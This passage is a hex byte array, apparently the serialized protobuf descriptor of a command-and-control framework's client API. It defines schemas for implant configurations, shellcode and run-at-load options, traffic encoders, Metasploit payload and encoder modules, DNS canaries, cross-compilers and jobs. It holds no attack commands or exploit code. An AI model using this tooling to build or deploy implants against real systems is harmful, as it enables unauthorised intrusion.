0x08, 0x52, 0x09, 0x49, 0x73, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, + 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x73, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x18, + 0x68, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x49, 0x73, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, + 0x64, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x52, 0x75, 0x6e, 0x41, 0x74, 0x4c, 0x6f, 0x61, 0x64, 0x18, + 0x69, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x52, 0x75, 0x6e, 0x41, 0x74, 0x4c, 0x6f, 0x61, 0x64, + 0x12, 0x1c, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x6a, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x22, + 0x0a, 0x0c, 0x4e, 0x65, 0x74, 0x47, 0x6f, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x6b, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x4e, 0x65, 0x74, 0x47, 0x6f, 0x45, 0x6e, 0x61, 0x62, 0x6c, + 0x65, 0x64, 0x12, 0x36, 0x0a, 0x16, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, + 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x6c, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x16, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, + 0x65, 0x72, 0x73, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, 0x28, 0x0a, 0x0f, 0x54, 0x72, + 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x18, 0x6d, 0x20, + 0x03, 0x28, 0x09, 0x52, 0x0f, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, + 0x64, 0x65, 0x72, 0x73, 0x12, 0x27, 0x0a, 0x06, 0x41, 0x73, 0x73, 0x65, 0x74, 0x73, 0x18, 0xc8, + 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, + 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x06, 0x41, 0x73, 0x73, 0x65, 0x74, 0x73, 0x22, 0x7a, 0x0a, + 0x0e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, + 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x49, 0x44, 0x12, + 0x22, 0x0a, 0x04, 0x57, 0x61, 0x73, 0x6d, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, + 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x57, + 0x61, 0x73, 0x6d, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x6b, 0x69, 0x70, 0x54, 0x65, 0x73, 0x74, 0x73, + 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x53, 0x6b, 0x69, 0x70, 0x54, 0x65, 0x73, 0x74, + 0x73, 0x12, 0x16, 0x0a, 0x06, 0x54, 0x65, 0x73, 0x74, 0x49, 0x44, 0x18, 0x09, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x06, 0x54, 0x65, 0x73, 0x74, 0x49, 0x44, 0x22, 0xb1, 0x01, 0x0a, 0x11, 0x54, 0x72, + 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, + 0x45, 0x0a, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x29, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, + 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x2e, 0x45, + 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x1a, 0x55, 0x0a, 0x0d, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, + 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2e, 0x0a, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, + 0x65, 0x72, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xa6, 0x01, + 0x0a, 0x12, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, + 0x54, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x6f, 0x6d, 0x70, + 0x6c, 0x65, 0x74, 0x65, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x43, 0x6f, 0x6d, + 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, + 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, + 0x12, 0x1a, 0x0a, 0x08, 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, + 0x28, 0x03, 0x52, 0x08, 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x10, 0x0a, 0x03, + 0x45, 0x72, 0x72, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x16, + 0x0a, 0x06, 0x53, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, + 0x53, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x22, 0xc3, 0x01, 0x0a, 0x13, 0x54, 0x72, 0x61, 0x66, 0x66, + 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, 0x74, 0x73, 0x12, 0x32, + 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, + 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, + 0x65, 0x72, 0x12, 0x32, 0x0a, 0x05, 0x54, 0x65, 0x73, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, + 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, 0x74, 0x52, + 0x05, 0x54, 0x65, 0x73, 0x74, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x44, + 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0d, 0x54, + 0x6f, 0x74, 0x61, 0x6c, 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, + 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x54, 0x65, 0x73, 0x74, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x05, + 0x52, 0x0a, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x54, 0x65, 0x73, 0x74, 0x73, 0x22, 0x66, 0x0a, 0x15, + 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, + 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, + 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x1c, 0x0a, 0x09, 0x4f, 0x54, 0x50, 0x53, 0x65, 0x63, + 0x72, 0x65, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x4f, 0x54, 0x50, 0x53, 0x65, + 0x63, 0x72, 0x65, 0x74, 0x22, 0x79, 0x0a, 0x15, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, + 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x12, 0x12, 0x0a, + 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, + 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, + 0x69, 0x67, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x49, 0x6d, 0x70, 0x6c, + 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x49, 0x44, 0x12, 0x22, 0x0a, 0x04, 0x46, + 0x69, 0x6c, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, + 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, + 0xa4, 0x01, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, + 0x73, 0x12, 0x3e, 0x0a, 0x07, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x18, 0x01, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, + 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x2e, 0x43, 0x6f, 0x6e, 0x66, + 0x69, 0x67, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, + 0x73, 0x1a, 0x53, 0x0a, 0x0c, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, + 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, + 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x6c, 0x0a, 0x0e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, + 0x65, 0x72, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, + 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, + 0x41, 0x52, 0x43, 0x48, 0x12, 0x2e, 0x0a, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x0e, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x52, 0x06, 0x46, 0x6f, + 0x72, 0x6d, 0x61, 0x74, 0x22, 0x85, 0x01, 0x0a, 0x0d, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, + 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x1e, 0x0a, 0x0a, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, + 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x54, 0x61, 0x72, 0x67, + 0x65, 0x74, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x22, 0x0a, 0x0c, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, + 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x54, 0x61, + 0x72, 0x67, 0x65, 0x74, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x16, 0x0a, 0x06, 0x43, 0x43, + 0x50, 0x61, 0x74, 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x43, 0x43, 0x50, 0x61, + 0x74, 0x68, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x58, 0x58, 0x50, 0x61, 0x74, 0x68, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x07, 0x43, 0x58, 0x58, 0x50, 0x61, 0x74, 0x68, 0x22, 0xf5, 0x01, 0x0a, + 0x08, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, + 0x53, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, + 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, + 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x32, 0x0a, 0x07, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, + 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, + 0x52, 0x07, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x12, 0x3f, 0x0a, 0x0e, 0x43, 0x72, 0x6f, + 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x6f, + 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x52, 0x0e, 0x43, 0x72, 0x6f, 0x73, + 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x12, 0x48, 0x0a, 0x12, 0x55, 0x6e, + 0x73, 0x75, 0x70, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, + 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, + 0x52, 0x12, 0x55, 0x6e, 0x73, 0x75, 0x70, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x54, 0x61, 0x72, + 0x67, 0x65, 0x74, 0x73, 0x22, 0x7e, 0x0a, 0x10, 0x4d, 0x65, 0x74, 0x61, 0x73, 0x70, 0x6c, 0x6f, + 0x69, 0x74, 0x4d, 0x6f, 0x64, 0x75, 0x6c, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, + 0x46, 0x75, 0x6c, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, + 0x46, 0x75, 0x6c, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x44, 0x65, 0x73, 0x63, + 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x44, + 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x51, 0x75, + 0x61, 0x6c, 0x69, 0x74, 0x79, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x51, 0x75, 0x61, + 0x6c, 0x69, 0x74, 0x79, 0x22, 0xce, 0x01, 0x0a, 0x12, 0x4d, 0x65, 0x74, 0x61, 0x73, 0x70, 0x6c, + 0x6f, 0x69, 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x18, 0x0a, 0x07, 0x56, + 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, + 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x73, + 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x73, 0x12, + 0x14, 0x0a, 0x05, 0x41, 0x72, 0x63, 0x68, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x09, 0x52, 0x05, + 0x41, 0x72, 0x63, 0x68, 0x73, 0x12, 0x36, 0x0a, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, + 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x73, 0x70, 0x6c, 0x6f, 0x69, 0x74, 0x4d, 0x6f, 0x64, + 0x75, 0x6c, 0x65, 0x52, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x12, 0x36, 0x0a, + 0x08, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x73, + 0x70, 0x6c, 0x6f, 0x69, 0x74, 0x4d, 0x6f, 0x64, 0x75, 0x6c, 0x65, 0x52, 0x08, 0x50, 0x61, 0x79, + 0x6c, 0x6f, 0x61, 0x64, 0x73, 0x22, 0x1f, 0x0a, 0x09, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, + 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xc7, 0x01, 0x0a, 0x09, 0x44, 0x4e, 0x53, 0x43, 0x61, + 0x6e, 0x61, 0x72, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, + 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, + 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x12, 0x1c, + 0x0a, 0x09, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x09, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, 0x64, 0x12, 0x26, 0x0a, 0x0e, + 0x46, 0x69, 0x72, 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, 0x64, 0x18, 0x04, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, + 0x65, 0x72, 0x65, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x61, 0x74, 0x65, 0x73, 0x74, 0x54, 0x72, + 0x69, 0x67, 0x67, 0x65, 0x72, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4c, 0x61, 0x74, + 0x65, 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6f, + 0x75, 0x6e, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, + 0x22, 0x3b, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, 0x2f, 0x0a, 0x08, + 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x4e, 0x53, 0x43, 0x61, 0x6e, + 0x61, 0x72, 0x79, 0x52, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x22, 0x1c, 0x0a, + 0x0a, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x57, 0x47, 0x49, 0x50, 0x12, 0x0e, 0x0a, 0x02, 0x49, + 0x50, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x50, 0x22, 0x55, 0x0a, 0x0e, 0x49, + 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x12, 0x0a, + 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, + 0x65, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, + 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, + 0x69, 0x67, 0x22, 0x47, 0x0a, 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, + 0x66, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x34, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, + 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, + 0x65, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x22, 0x31, 0x0a, 0x0d, 0x52, + 0x65, 0x67, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x20, 0x0a, 0x0b, + 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xb7, + 0x01, 0x0a, 0x03, 0x4a, 0x6f, 0x62, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x44, 0x65, + 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, + 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, + 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, + 